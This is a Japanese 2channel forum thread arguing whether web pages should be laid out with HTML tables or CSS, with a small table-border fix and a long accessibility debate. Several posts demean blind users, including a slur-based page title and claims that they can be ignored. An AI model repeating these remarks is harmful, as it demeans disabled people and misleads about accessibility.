結局テーブルだな。2chもﾃﾌﾞｰﾙ、MSもﾃﾌﾞｰﾙ、俺もﾃﾌﾞﾙｰ、おまえもｰﾃﾌﾞﾙ
- 213 ：
- モバイル全盛の今となってはテーブルのほうが環境を選ぶと思うんだが。
- 214 ：
- 携帯は携帯用。PCはPC用と切り分けしてるのが普通だと思うんだが。
CSS読めない携帯の方が圧倒的に多いわけで
- 215 ：
- >>214
まぁアホに突っ込むなよ。
多分モバイルの意味もよくわかっておるまい。
- 216 ：
- >>212
ようするにテーブル以外で横に並ばせるタグがあれば万事おｋって事？
もうカラム落ちやﾊﾟﾄﾞﾝの疲れたよ...
- 217 ：
- 最近の携帯は画面もVGAのものがでてきてるし
PCのURLをそのままつっこんでも文字数や表示面積的には
なんとか読めるサイトが増えてきてる。
でもCSSは全く駄目だからなあ。
- 218 ：
- >最近の携帯は画面もVGAのものがでてきてるし
お前自分が書いてる事の意味わかってる？ｗ
- 219 ：
- 段組はテーブルだな。ＣＳＳは無力
- 220 ：
- cssからテーブルに戻ってきたよ。
- 221 ：
- ｸｽｽはfontとかaだけの振り替えでよろし。
てゆーかテーブルにできるレイアウト事が今のｸｽｽじゃ全部
できないんだからレイアウトにテーブル使てもおかしくないでしょ。
テーブルの100倍面倒くさい記述してそこら中カラム落ちとかパドンのはマジ勘弁
- 222 ：
- テーブルもいいがcssつかってシンプルに作ったやつも魅力があるきがする
ninjaで見つけたのだがここttp://breko.xxxxxxxx.jp/のレイアウトは好きだな
内容はｸｿだけど
シンプルもいいよな。
- 223 ：
- div要素の定義を「文章構造の構成に一切影響を与えない、スタイルを定義し、
また予め定義されたスタイルを適用するためだけのブロック要素」に変えて
独自属性として「table=ﾞ任意のIDﾞ」、「endtable=ﾞ任意のIDﾞ」、「tr=ﾞ任意のIDﾞ」、「endtr=ﾞ任意のIDﾞ」、
「td=ﾞ任意のIDﾞ」、「endtd=ﾞ任意のIDﾞ」、「colspan=ﾞ数字ﾞ」、「rowspan=ﾞ数字ﾞ」を設けて、
同じID同士でテーブルを構成できるようになればいいのだが。
そうすれば文章をどんな順番で書こうとも、好きなようにテーブルレイアウトが出来るから、
完全に構造とデザインレイアウトの分離ができるんだがな。
ただ、UAがソースを全部読まないと描写できないという欠点はあるが。
- 224 ：
- 妄想は結構だが、
「ﾞ」
これはネタだろう？勘弁してくれ
- 225 ：
- テーブルで作ってるの見るとイライラする
- 226 ：
- おまいのサイトをmacOS9でみてみろ
- 227 ：
- Mac(笑)
- 228 ：
- 火狐でみるとずれるんだけど
- 229 ：
- 斜視ですね
- 230 ：
- >>221
>テーブルの100倍面倒くさい記述してそこら中カラム落ちとかパドンのはマジ勘弁
「パドン」って何のこと？
- 231 ：
- age
- 232 ：
- paddingのつもりとか
- 233 ：
- まず日本語が変なんだな
- 234 ：
- どうにかここまで頑張ったが、お手上げなので助けて。
全て外枠と同じ細さにしたいのですが、中の仕切りが細くできません。
あとは何が足りない？
先生おねがい
<Table border="1" width="190" height="50" bordercolor="#ff80c0" bgcolor="#fff2fa"
cellspacing="0" cellpadding="2" style="border:1px">
<Tr><Td style="font-size:9pt;color:#ff72b4;">
メニュー１
</Td></Tr>
<Tr><Td style="font-size:9pt;color:#ff72b4;">
メニュー２
</Td></Tr>
<Tr><Td style="font-size:9pt;color:#ff72b4;">
メニュー３
</Td></Tr>
<Tr><Td style="font-size:9pt;color:#ff72b4;">
メニュー４
</Td></Td>
<Tr><Td style="font-size:9pt;color:#ff72b4;">
メニュー５
</Td></Tr>
</Table>
- 235 ：
- >>234
<Table border="1" width="190" height="50" bordercolor="#ff80c0" bgcolor="#fff2fa"
cellspacing="0" cellpadding="2" style="border:1px">
<Tr><Td style="font-size:9pt;color:#ff72b4;">
メニュー１
</Td></Tr>
<Tr><Td style="font-size:9pt;color:#ff72b4;border-top:0px;">
メニュー２
</Td></Tr>
<Tr><Td style="font-size:9pt;color:#ff72b4;border-top:0px;">
メニュー３
</Td></Tr>
<Tr><Td style="font-size:9pt;color:#ff72b4;border-top:0px;">
メニュー４
</Td></Td>
<Tr><Td style="font-size:9pt;color:#ff72b4;border-top:0px;">
メニュー５
</Td></Tr>
</Table>
- 236 ：
- あひゃ～～～～～～！！！
ありがとうございます！！！！
2時間以上かかってやっと・・・
- 237 ：
- そんなのビルダー使えば簡単。
- 238 ：
- テーブル組む時だけは作成ソフトの有り難味がわかるよなｗ
- 239 ：
- アクセシビリティ
ページを訪れる閲覧者は、視覚障害者や聴覚障害者、マウスを操作できない環境など、
実に様々です。どのような受信環境からでも、情報を得ることができるページ作成を心掛けます。
たとえば、ブラウザの種類やパージョン、マシン、OSに開係なく、Webページの情報を得ることができるのが理想です。
ユーザが利用するプラウザは、Microsoft Internet Explorer や Netscape だけではありません。
非視覚系ブラウザと呼ばれるテキストプラウザや音声、点字プラウザまで考慮することが大切です。
また、受信環境で文字サイズを変更したり、特定の色を変更したりできることも、
閲覧者ごとのアクセシビリティを考慮することになります。
モニタの表示色数や処理速度の違いといったコンピューター環境の違いも、
アクセシビリティとして考慮しておきたいポイントでしょう。
- 240 ：
- ブラウザ間の互換性を考えるのが面倒なんで（専業じゃない）テーブルメインのCSS併用って感じにしてる。
ただブラウザの設定からCSSを切るとテーブル併用だとあり得ないぐらい汚く崩れる。。。
CSSだけでやってればこんなに酷くならない。。
でもわざわざCSSを切って見てる人も少ないか？
あ、携帯とかか。。
- 241 ：
- 正直IEがあるうちはCSSで柔軟にテーブルのようなレイアウト作るのは無理だな
- 242 ：
- 久しぶりにテーブルレイアウトに戻ってきましたよ。
ホームページ製作ソフトで簡単に作れるのがいいんだよなぁ。
- 243 ：
- ようするに列のレイアウト表現ができないからどっちでやるか困ってるわけでしょ？
CSSのインチキフロートでモリモリいっぱい面倒くさい記述設定しなきゃ駄目なのも
テーブルでタグごった返すのもどっちもどっちって感じがするけどな。
ナローバンド時代ならともかくブロードバンド普及しまくってる今なら
読めなくて大崩壊する事が無いテーブルの方がむしろ良いような感じがするけどな。
- 244 ：
- 2008年の今になっても結局CSSは装飾まででやめといた方が良いんだよね。
レイアウトまでやるとなるとテーブルを超越するリスクをしょい込む割に
記述がたいして楽になるわけでもないしね。
- 245 ：
- 私はクラが中途半端にページデザインしてくるもんだから（もちろん、その通りに制作しなきゃだから）
テーブルでしか作れないよ。すっんごい構造になってますｗ
- 246 ：
- 同じもんをCSSだけでやるともっと惨いと思うよ。
骨格がテーブルで装飾や繰り返し要素だけCSSってのが一番バランスが良い。
- 247 ：
- 道具は目的をかなえてこそだからな
テーブルは今や「レイアウトのための道具」と言えよう
- 248 ：
- まあメインであるトップページはテーブルで書くなということだ。
- 249 ：
- >>246
別の目的の道具を、あんま他に良い道具が揃ってない時代に、たまたま「それっぽく」機能してたから
仕方なくダラダラ使ってる(使ってきた)ってだけで、「もはやレイアウトのための道具」とまで
言い切れるほど立派なモンではない希ガス
- 250 ：
- ｽﾏｿ>>247ﾀﾞﾀ
- 251 ：
- >>249
しかたなくかどうかは個人の主観によるだろうが、
現状でもテーブルでレイアウト、あるいはサイト内で
使用してるサイトはかなり多いからな。
- 252 ：
- 俺もかつてはテーブル厨だったがフロートの魔法を覚えてからは立派なdiv厨になりますた
テーブルと違って/tr /tableを〆る必要がないのは衝撃だった
- 253 ：
- CSSを毛嫌いしているのは、
MSが独自なことやってまともに表示されづらいから
CSS・テーブルとは違うけれど、
IEに依存した作りになっているサイトは
早くなくなってほしいと思う
- 254 ：
- テーブルレイアウトとcssのSEOの効果ってそんなに違うの？
被リンク、W3C、タグ、タイトル、アクセス数、ドメイン年齢、などいろいろ言われるけど
割合でMAX10としてどれくらいだろう？
1くらいじゃないかと思ってるんだけど。
理由はおいらが二年前に作ったガチガチテーブルレイアウトのサイトが520ﾏｿ中の一位だからなんだけど。
いったいどーなってんだ？
- 255 ：
- グーグルは賢すぎるから
W3Cに則ってなくてもかなり的確にランク付けしてくれるんじゃない？
- 256 ：
- W3Cはﾏｲﾅｽ120だった。
- 257 ：
-
- 258 ：
- 別にどっちでもいいけどテーブル多用するサイトは重いからやめれ
- 259 ：
- どんなPC使ってんのｗ
- 260 ：
- 田舎でISDNなんじゃないの？
- 261 ：
- あ～だのこ～だの言ってないで、その時間あったら
さっさとコンテンツ更新しろ
口ばっかりのコーダー連中
- 262 ：
- 携帯じゃなかろうか
- 263 ：
- あげ
- 264 ：
- テーブルは中身全て読み終わるまで表示しないって偉い人が言ってた
- 265 ：
- テーブルレイアウトって都市伝説だろ
まぁ3年前のスレで言っても仕方ないか
- 266 ：
- >>1の投票結果見て失望した
表示できてればいいじゃん！っていう
初心者みたいな考え方の人多いのね
- 267 ：
- HTMLが構造化言語だってことを考えれば、
「表がレイアウトに使われるべきでない」となるのが
自然だと思うんだよね
重い重くないとかの問題以前に、
本来の使用目的とは別の使われ方をしていることに
問題があるように思える
まぁ、それこそ3年前のスレに云々だけどｗ
- 268 ：
- ガキがいるなー
- 269 ：
- 268 名前：Name_Not_Found[] 投稿日：2009/01/21(水) 10:54:33 ID:/Hymrnst
ガキがいるなー
- 270 ：
- 構造化言語とかいっても、やっぱりちゃんと表示できてれば何使っても良いと思うな
- 271 ：
- 構造化するってことは、
どこに何があるか示していくってことなのに
視覚的に満たされてればいいって考えが
どうして出てくるんだろう
そりゃー見るヤツはそんなの知ったことじゃないだろうし、
プロでやってたとしても、顧客の要件さえ満たしてれば
なんら問題ないのかもしれないけどさー
俺は拘っちゃうなーどうしても
- 272 ：
- 拘るのは勝手だが
構造化言語だからダメってのは人を納得させられる理由じゃないよねｗ
- 273 ：
- >>271
拘ってデザインを制限しないように気をつけてね（はーと）
あ、あと保守性も低下させすぎないように気をつけてね（はーと）
- 274 ：
- デザイン(笑)
- 275 ：
- >>272
それで納得できない頭ならしょうがないなｗｗ
- 276 ：
- >>275
残念な頭だな
- 277 ：
- デザイン(笑)は最初に決めておくものじゃないの？
保守性(笑)は仕様に沿っておいたほうが高くなるんじゃないの？
- 278 ：
- ああ、たぶん表示されればなんでもいいとか言ってる人は、
プログラムとか組んだことがないんだろうな
仮にあったとしても、オナニーフレームワーク作ったり、
保守性の欠片もない悪夢のようなコードを書いて、
「動いてればいい」とか言っちゃうんだろうな
- 279 ：
- >>277
デザインは最初に決めるよ。それが？
保守性はcssハックとかしたら下がるだろ
- 280 ：
- マジで聞きたいんだが、保守性(笑)はテーブルのほうが馬鹿みたいに大変じゃない？
共通レイアウトのindexページ（例えば地域ごととか）の、ちょっとのレイアウト変更でも
アフォみたいに手間掛からない？
＞保守性はcssハックとかしたら下がるだろ
これもわかんない・・・どういう意味？マジで。
- 281 ：
- >>280
わかれ
- 282 ：
- わからないなぁ・・・ハックなんて、よっぽどの時に
スターハックとfirst-childで帳尻合わせるくらいでしょ？
それでどうして保守性が下がるの？
条件分岐で、IE5なんかも徹底的にやってらっしゃるからですか？
デザインだって、テーブルじゃなきゃ出来ないなんてのも無いと思うけどなぁ・・・
まさか、css書けないからってオチじゃないよね・・・？
- 283 ：
- >>282
分からん奴だなｗ
- 284 ：
- >>282
できないものは無いんだったら、これ作ってくれない？
2カラムのリキッド（固定と可変。ただし固定はフォントサイズ依存）
左背景を緑
右背景を青
左と右、どちらが高くなるかは分からない
ちょうど今困ってるんだ。できるんだろ？やってくれよ。
- 285 ：
- なるほど
テーブルレイアウト派って、
要はテーブルで作る知識しかないから、
それに縋ってる状態なんだな
- 286 ：
- >>285
俺はオライリーのクックブックを全部読んだ程度だよ。
で、>>284できないの？
はやくしてくれよ。
- 287 ：
- 金払ってくれるんなら俺がやるよ
- 288 ：
- >>287
金は払えん
てかさっきからワクテカして待ってるんだが。
- 289 ：
- できるできないを知りたいんなら
グーグル先生にでも聞けよ
即効出てくるから
単に悔し紛れに
「お前できるか！できないだろ！」
って言ってるだけだろアンタは
だいたいこの時間にこのスレに
噛り付いてるヤツのほうが少ないっつの
アホくせ～
- 290 ：
- >>289
できないならそう言えよ。
期待して損した。
テーブルで作るかな。
- 291 ：
- ID:s6W5Frgy
お前中学生か？２ちゃんねるなんかやらないほうがいいぞ
- 292 ：
- 検索したらすぐでてくるのにな(笑)
やっぱりテーブルレイアウト派は能無ししかいないらしいな
- 293 ：
- >>291
だれが
>>292
なあ…もしかしてこういうやつの事言ってるのか？
http://matthewjamestaylor.com/blog/ultimate-2-column-left-menu-pixels.htm
たしかに可能だな。
いやさすがCSS信者は無駄に複雑なことがお好きでつね。
- 294 ：
- スレの流れなんか気にしないで言うと、テーブルレイアウトは使いたければ使えば良い
少なくともこのスレには信者いるみたいだし
けど脱テーブルすると何かが開ける
これは間違いない
- 295 ：
- >s6W5Frgy
テーブル使えばいいよ。使いな使いな。誰も止めないって。
＞俺はオライリーのクックブックを全部読んだ程度
読んだだけの程度ｗ
全部>>284のテーブルレイアウトで作ってなｗｗｗ誰も止めないから。
- 296 ：
- >>295
ちなみに読んだ程度って、もともと読んだ「だけ」の意味だからなｗ
- 297 ：
- 別にいいんじゃね？テーブルでもCSSでも個人の好みで。
俺は最初の最初はビルダーでガチムチテーブル組みから入ったけど、とっくにCSS派だ。
カンプから部品切り出しても、どう考えてもCSSで組んだ方が楽。
もち、誰か言ってた、これでこれでこう！っ徹底的に条件を指定されたレイアウトは
テーブルが楽なのもあるのかもしんないけど、そんなのはやらないしね。
- 298 ：
- 現行のCSSにはレイアウト用のプロパティがないしね。
CSS3になれば、カラムプロパティができるみたいだから、それまではテーブルでいいんでないの？
- 299 ：
- レイアウト用のプロパティは無くても、レイアウトが組めるプロパティはあるんだが。
- 300 ：
- >>299
それって、前に構造化うんぬん言ってた人は気持ち悪くならないの？
- 301 ：
- >>300
言ったの俺じゃないもん。
気持ち悪くなる人は、いったいどうしてるんだろうね？？？
画像置換の為に空<span>咬ますとか無駄なことは大嫌いだけど、
それぞれに「てきせつな」マークアップさえすれば、
構造化（←つか何？）なんて全然言いません。
- 302 ：
- div厨だったのか
- 303 ：
- 構造化の意味すら分からないのか
- 304 ：
- タグの使い方には「こうあるべき」を持っているのに
プロパティの使い方はバグを利用したりハックを駆使したりして
「そう見えればいい」だもんね。おかしなもんです。
>>294
脱テーブルのあとに、脱CSSってのもあるわけですよ。
(´-`).｡ｏＯ人はTABLEにもどってくるんだよ。
http://pc11.2ch.sc/test/read.cgi/hp/1133608232/
- 305 ：
- 例えば、左側にメニュー、右側に本文
っていう、よくある2カラムレイアウトのサイトを作ったとして、ページ数1000ページあると仮定。
これを左本文、右メニュー直さなくてはいけない状況になったとしたら
1000ページ全部テーブルでレイアウトしたサイトはどうやって直すの？
- 306 ：
- 気合で直すんだよ！
- 307 ：
- テーブルサイト運営者は、早くphpで楽になったらどうだ？
- 308 ：
- >>305
1000ページもあるサイトはテンプレートでやってるから無問題
- 309 ：
- >>271
見る物だからだろ
- 310 ：
- ちがう！！
ウェブサイトは心で感じるものだ…………
- 311 ：
- >>305
>>例えば、左側にメニュー、右側に本文
>>っていう、よくある2カラムレイアウトのサイトを作ったとして、ページ数1000ページあると仮定。
>>これを左本文、右メニュー直さなくてはいけない状況になったとしたら
>>1000ページ全部テーブルでレイアウトしたサイトはどうやって直すの？
本文とメニュー位置を変えただけでどうなるん？
確かにCSSでは簡単にできると思うよ。
だけどね。
「業績が悪いので本文とメニューの位置を変えてみよう。
ついでに背景も変えてみよう。Web屋のいうとおり高い金払ってCSSで組んでもらったんだから...」
こんな機会がいくらあると思っているの。
- 312 ：
- 内容が良けりゃ何だっていいよ
- 313 ：
- >>308
>305で結論出ちゃってるけど、仮に現状テンプレート化してなくても
DOMツリーを解析するスクレイピングスクリプトで簡単に分離可能だね。
あまりにフリーダムに作られていて安価にスクリプトで出来なければ、
大連のオフショアに出すと言う荒業も可だけどｗ
- 314 ：
- いい
- 315 ：
- 視覚障害者用の音声読み上げブラウザが、レイアウトのためだけにテーブル
使ったサイトに当たると、かなり残念なことになるんじゃないの。
実際その場面を観察した訳じゃないけど、テーブル拾うたびに
「ここから表です」とかしゃべるんでしょ？あれは。
「いやそんな人は対象にしてないし」という考えはわかるが、
閲覧する側にそれを検出する技術はあるんだろうか。
障害者対応ページである事を宣言するタグでもあればいいのかな。
それとももうあるんだろうか？そういうタグ。
- 316 ：
- うちは漫画の二次サイトやってるんで
視覚障害者はまず来ないと断言できる
- 317 ：
- テーブルでもＣＳＳでもいいんだけど。
そもそも、一般的に認知されている視覚障害者用の音声読み上げブラウザってあるの。
一度、自分のＨＰ読んでみてもらいたいと思って探したけどなかった。
- 318 ：
- どんなに高価でも補助金で買ってもらえるんだぜ？
だれがタダで流すのさ？
- 319 ：
- どうして？がついているの。
- 320 ：
- バカだから
- 321 ：
- 視覚障害者ということでいうなら、どんなところでも
読み上げブラウザが訪れる可能性はある。
アドレスの一文字の間違いで来ることだってあるだろうし。
少し前で、自分のところは漫画のサイトだから視覚障害者は来ないと断言した人がいたが、
自分のところで扱っている作品がラジオドラマ等になってないか
確認した方がいいんじゃないかな。
何が引き金になるかは予測できないから、配慮は必要だ。
ページのタイトルを工夫するだけでも、(言い方は悪いが)対象外の人を
追い返すことは可能。
- 322 ：
- ○○○のホームページ（めくらお断り）
- 323 ：
- >>322
神光臨！
…じゃなくて、要するに冒頭からテーブルでもりもりデザインするんじゃなく、
テキストで一言、ここがどういうページなのかを解説しておけば、
その時点で読みあげをキャンセルしてよそに行くだろ。
俺が視覚障害者で音声読み上げブラウザを使っているならそうする。
テーブルでレイアウトをしているページは、読み上げブラウザとの共存は困難だ。
- 324 ：
- そもそも
音声を聞き取らないと状況が把握できないほどの視覚障害者に
単独でパソコンは必要ないだろ。
キーボードすらまともに打てないハズなのに
どうやってパソコンを操作するかが疑問だ。
必ずアシスタントがそばに寄り添ってるJK。
- 325 ：
- >キーボードすらまともに打てないハズなのに
キーボードなんか点字のがあるから覚えれば打てるだろJK
最初はそりゃそばに人がいないと分からないだろうけど、慣れればそういうことも無いと思う
そういった人向けの講座だってあるぐらいなんだし、まったく一人じゃ使えないってことない
- 326 ：
- 音声読み上げソフト対策に画像に絶対alt入れろというクライアントがいるが、
そう言うわりにhtmlの組み方には無頓着であるという不思議。
CSS推奨なわけでもないのは何故なんだ……
- 327 ：
- >>324
キーボードの操作は、慣れれば視覚障害者のほうが常人より操作できるんじゃないの。
指先の感覚はいいだろうし、打った文字を読み上げたりしてのサポートもあるだろうし。
というか、パソコンのデバイスは、マウスやキーボードや画面ばかりではない。
視覚障害者にだって好奇心は人一倍ある。目が見えないのを理由にして
インターネットにアクセスしない、なんて、ありえない。
自分の身に置き換えてみればわかるでしょ。
明日いきなり病気や事故にあって、両眼失明したら、あなたはインターネットやめる？
パソコンに食らいついてでも続けようとする、と思うよ。
舌を使ってでもキーボード打とうとすると思うよ。
だったらそれに備えるてのは、ページを作る側としては、やらなきゃならんでしょ。
解決の案は、ここでもいくつか出ているんだし。
>>326
ここでする話じゃないだろ、とは言わないが、ある程度は自分で考えなよ。
クライアントが音声読み上げソフト対策と言った時点で、htmlやCSS含めて
いろいろ要件に条件が生まれるのは当然だから、ある程度のことは
想定すべき。
むしろ色々考えて、こっちからクライアントに提案してみたらどうかな。
- 328 ：
- >>327
やめる
俺は目を使った仕事ばかりしてるから。
そうだな、運動が趣味だからパソコンなんていらないな。
身近な人で目も耳もまったく使えなくなった人がいるけど
毎日「殺してくれ」の文字をノートに書いて苦しんでるよ。
- 329 ：
- >>328
下三行妄想乙
- 330 ：
- >>328
やめたきゃやめていいし、死んだって構わないが、世の中そんな人ばかりじゃないだろ。
だからこそ、読み上げブラウザなんてものが存在しているんじゃないか。
- 331 ：
- >>330
もともと障害を持つ人を対象にしたブラウジングはごく少数。
音声ブラウザ側がしっかりしない限り、それはどうしようもない。
企業宣伝が特に影響しない限り、
こちら側で音声エンジン搭載糞ブラウザに特化したページなんて作る必要もない。
- 332 ：
- >>331
どんなブラウザだろうが、テーブルタグがくればそれをテーブルと解釈して
処理しようとするのは当たり前だ。
読み上げブラウザだけじゃない、世の中にはグラフィックを扱わないブラウザだって
あるんだ。そういうブラウザは、-、!、+等の文字の組み合わせだけでテーブルを
表現しようとする。そういう処理系もあるんだ。
読み上げブラウザが「ここから表です」と言うのもしかり。
ちゃんと「しっかり」やっているんだよ。
それを、テーブルタグをレイアウトのために使うという、HTMLが想定してない
使い方をしておいて、思い通り再現できなきゃ「糞ブラウザ」って・・・。
それを言ったら、3大ブラウザでもそれぞれ見え方は違うし、ひとつのブラウザでも
バージョンによって見かけが違ってくるぞ。
OSの違いだって関わってくる。Windows、MacOS、Linuxでぜんぜん見え方は
違うのに。
つまり自分のHP製作力のせいだろ。ブラウザのせいじゃないってことだ。
レイアウトそのものを他人様に伝えたい訳でもあるまいに。
そもそもHTMLは文書であり、公開することを目的にしているのだから、内容が
他人様に伝わってなんぼ。
「もともと障害を持つ人を対象にしたブラウジングはごく少数だから特化した
ページは作る必要がない」？
片腹痛いわ。特定の誰かのために、なんていう発想が、すでに的外れだ。
その考え方では絶対にだめだ。
あなたは努力の方向が間違っている。もう少し大人になってください。
- 333 ：
- >>332
まあ出来る事ならどんなタイプのブラウザでも快適に見られる(聞ける)ようにするべきではあるとおもうよ。
だけどそんなこといったら文章書いて画像乗せてリンク張るくらいしかできないじゃん。
糞ブラウザは言い過ぎだと思うが、何も機能に制限のある少数派ブラウザにあわせて見難いデザインのHP作る事は無いだろJK。
- 334 ：
- フォトショでバリバリスライスして書き出したテーブルタグ、IE8でバグって崩れたりするな。
IE6,7は全然大丈夫なんだけど。
ブラウザもだんだん正しいHTML重視になって行く気がする。
- 335 ：
- >>333
> だけどそんなこといったら文章書いて画像乗せてリンク張るくらいしかできないじゃん。
それ以上のことをしているページってほとんどないじゃん。
> 糞ブラウザは言い過ぎだと思うが、何も機能に制限のある少数派ブラウザにあわせて見難いデザインのHP作る事は無いだろJK。
正しいマークアップをすれば、機能に制限のあるブラウザでも機能てんこもりのブラウザでもちゃんと見られるんだよ。
後者にはスタイルシートとかスクリプトを用意してあげればいい話。
- 336 ：
- なんで盲に易しいページじゃないと人非人みたいな言われかたせにゃならんのだ
人権キチガイばっかだな
- 337 ：
- これから100レス使って噛んで含めるように説明してやってもいいが、
話が通じない輩みたいだから、>>335の下2行の気になる単語を30回ググれとだけ言っておこう
>>336よ、今は去れ
そして全てを飲み込んだ上で、それでも思うところがあるなら戻ってこい
- 338 ：
- >>336
確かに、役所や企業と個人の趣味のサイトは違う罠。
- 339 ：
- >>334
W3C準拠を重視するならFFやChrome,Safariなどで確認すべき
- 340 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 341 ：
- CSSが面倒くさいやらすぐ崩れるやら、
使い物にならんからテーブルレイアウトやってんだよ。
CSSでも同じくらい安直に、しかも崩れずにできるようにすればいいのさ。
レイアウトなんて単なる積み木遊びなわけで、
その程度のことは簡単にできるように配慮してしかるべき。
その当たり前ができてない時点でCSSはゴミ。
- 342 ：
- クラがホームページビルダーで更新するんだから外部CSS入れたら編集できまへん。
- 343 ：
- >>342
ビルダーでも更新できるけどcssの知識がないとレイアウト崩れたときに修正できないのかな
- 344 ：
- なんでもよくね？
htmlじゃなくてcssも使えるぜ、なんて今時当たり前だし。
両方使えばいいんだよ。
よくあるのが、サイドバーとメインコンテンツをcssでわけてその中にtable記述したり。
cssは大まかに枠作ったりフォント指定したり使ってる。
個別にはtableも使うしjavascriptも使うし、違う技術で操作することもある。
なんだよtableダメってｗtableもcssもjsもcgiもその他も便利なときには使うんだよ。
- 345 ：
- 視覚障害者ｗ
そんなの視覚障害者が来ることを想定してるかどうかだろｗ
障害者コミュニティみたいなの作りたかったら、想定して作るべきだが
視覚障害者関係ないページを無理して強引に対応させる必要がどこにあんのｗ
車好きホームページに、視覚障害者対策が必要か？
作りたいものによって使う技術は変えるんだよ。
- 346 ：
- >>342
クラによるよなー。
丸投げしてくるアホだとそうなるな。
管理ツール作ってやるのが一番いいんだが、
金出さない丸投げのダメクラだと仕方ない罠。
- 347 ：
- >>344
どこの誰がtable使っちゃダメなんて言ったよ
必要に応じてって事だろうが
一覧表を作りたいなら好きなだけtableを使えばいいよ
用もないのに見てくれだけの目的でtable使うのが思考停止だ、てだけの話
>>345
サイトを公開する以上は誰でもウエルカムなのが前提だろ
そのために知恵をしぼる方が、最新技術をむやみやたらに取り入れるより、実は難しい
できるでしょと言われてできませんと言うなら、そりゃ仕方ないがね
できない人にやれとは言えない
現実として俺のサイトは、最新ブラウザはもとよりIE5どころかwebboyでも見れる
言っておくがテキストサイトじゃない
まあツールは使わずhtml手打ちだけどな
俺が車のページを作れと言われたら、画像は別ページに置いて、画像を見たい人はこちら、とかやる
障害者対策というなら、これで一丁あがり
だが俺に言わせれば、障害者に対応させるという考えが道を外れてるな
誰が来ても普通に見れる伝わる、というのが一番いい
技術じゃなくサイトの作り方の問題
- 348 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 349 ：
- >>348
引用されているサイトの結果は「赤信号みんなで渡れば怖くない」と
言っているのと同じだよ
そんなので丸くおさまれば苦労はない
- 350 ：
- >>347
車好きな視覚障害者、いないわけじゃなさそうだが
需要としては無視していいレベルだからなー。
＞誰が来ても普通に見れる伝わる、というのが一番いい
そうだな、ある程度テンプレ化してても、
細部まで対応にこだわるかの分かれ目はあるよな。
- 351 ：
- 全部tableだと面倒くさい。
全部cssだと逆に弄りにくい。
- 352 ：
- ＞俺が車のページを作れと言われたら、画像は別ページに置いて、画像を見たい人はこちら、とかやる
普通は多数派に合わせるだろ。
- 353 ：
- >>350
需要として無視していいレベル、という考えにはもちろん同意する
ただ、そういった、とてもありえそうにないレベルにさえ、いざとなったら
対応できるキャパシティを持つのがhtmlだと、俺は思っているんだ
しかしあくまで、それは正しいマークアップあっての話
>>352
多数派うんぬんじゃないよ
画像を見るために操作ひとつ増えるだけの事だ
短所もあるが長所も大きい
操作の手間が増えるのが不都合というなら、そのページの魅力不足だよ
- 354 ：
- 引き続き
テーブルレイアウトの何が悪いん？というスレで、
「読み上げブラウザで読むと残念なことになるんじゃないの」
という意見が出る事自体は筋が通っているさ
それに対する答えが弱者切捨てというのは、扱う主題を取りちがえているだろうよ
考えるべくは、tableタグに対するブラウザの立ち振る舞いについてだろう
上の意見に返す答えとしては、「おっしゃる通り」しかないはず
(ブラウザは、どんな目的のtableタグかを判別できないから)
需要とか多数派とかという言葉を持ってくるのは、その後の話
いろいろ一緒くたにするから、無駄な方向に行ってしまうんだよ
俺が俺がもいいけど、サイトを訪れる人をえり好みするんじゃなく、サイトを訪れて
くれた人に「来てくれてありがとう」という気持ちを表すのが先だろう
それには、感謝の文章の羅列よりも、誰がどんな環境で来訪しようと、
曲がりなりにもまずは内容を伝える事のできるサイト作りをするべきだと俺は思う
それがクリエイターの流儀だろう
そしてクリエイターなら、できるかできないか、じゃなく、どうやったらできるか、だろう
ここまで書いておいて何だが、別に他意はない
何度も言うが、無理だというなら、それは仕方ない
無理を承知で、とまでは、俺も言わないよ
- 355 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 356 ：
- >>355
>>349
- 357 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 358 ：
- テーブルもCSSも使わず、
一枚モンの画像でいいと思うよ。
テキスト情報は全部ALTに詰め込む。
クリッカブルマップ多用。
- 359 ：
- >>358
(糞サイトの作り方)
- 360 ：
- >>358
動的なサイトはどうすんだよ？
といちおうマジレスでもしてみるか
- 361 ：
- 巨大な背景画像のBOXの中に
BOXを配置しよう。
- 362 ：
- >>341
あなたのスキルがないだけです。
- 363 ：
- テーブルでレイアウトして「これをCSSに変換」てボタンがあればいいんじゃね？
- 364 ：
- テーブル要素にレイアウト用に使ってますっていう属性ができればいいんじゃね？
- 365 ：
- テーブルで組みたい奴は組めばいいんじゃね？
今時のcss否定派って、まともにcss使えないからテーブルテーブル言ってるだけだろ。
- 366 ：
- css慣れるまで面倒くさいからわからないでもないけどね
- 367 ：
- 逆に慣れてしまったらCSSの方が楽なんだけどね
- 368 ：
- CSSだと10倍以上時間がかかる
テーブルレイアウトも空DIVレイアウトも何もかわらないだろみたいな
でも世の流れには逆らえないし、Webデザイナー目指すならできないといけないだろうし
仕方なくもう一度基礎から勉強するか…
ちゃんと理解できてないから時間かかるんだろうし
- 369 ：
- >世の流れには逆らえないし
テーブルまんせーの人たちは、何で世間がCSSに流れてるか考えるなり調べるなりした方がいいよ。
別に君らがテーブルスキルのままでも俺は一切困らないけど、親切で言ってやってるんだよ。
- 370 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 371 ：
- ＞最終総結論。テーブルレイアウトは悪くない。完結。THE END.
そのアドレスは2003年の情報だぜ？
お前のスキルは7年前のWEBスキルｗTHE ENDｗｗｗｗｗｗｗｗｗｗｗ
- 372 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 373 ：
- テーブルなら３行で済むレイアウトが、CSSなら数十行。
イッツナンセンス
- 374 ：
- display:table-cellってナンセンス
- 375 ：
- アスキーアートなら1KBで済む画像が、jpegなら数十KB。
イッツナンセ(ry
違う目的のパーツを組み合わせてそれっぽいモノに見せる、って意味では
マジでアスキーアート (≒余興) に近い気がする。＞テーブルレイアウト
- 376 ：
- テーブル馬鹿 → CSSレイアウトやハックは使えないからテーブル使用
CSS推進派 → テーブルもCSSも使いこなした上でCSSを選択
答えは明白ｗｗｗ
- 377 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
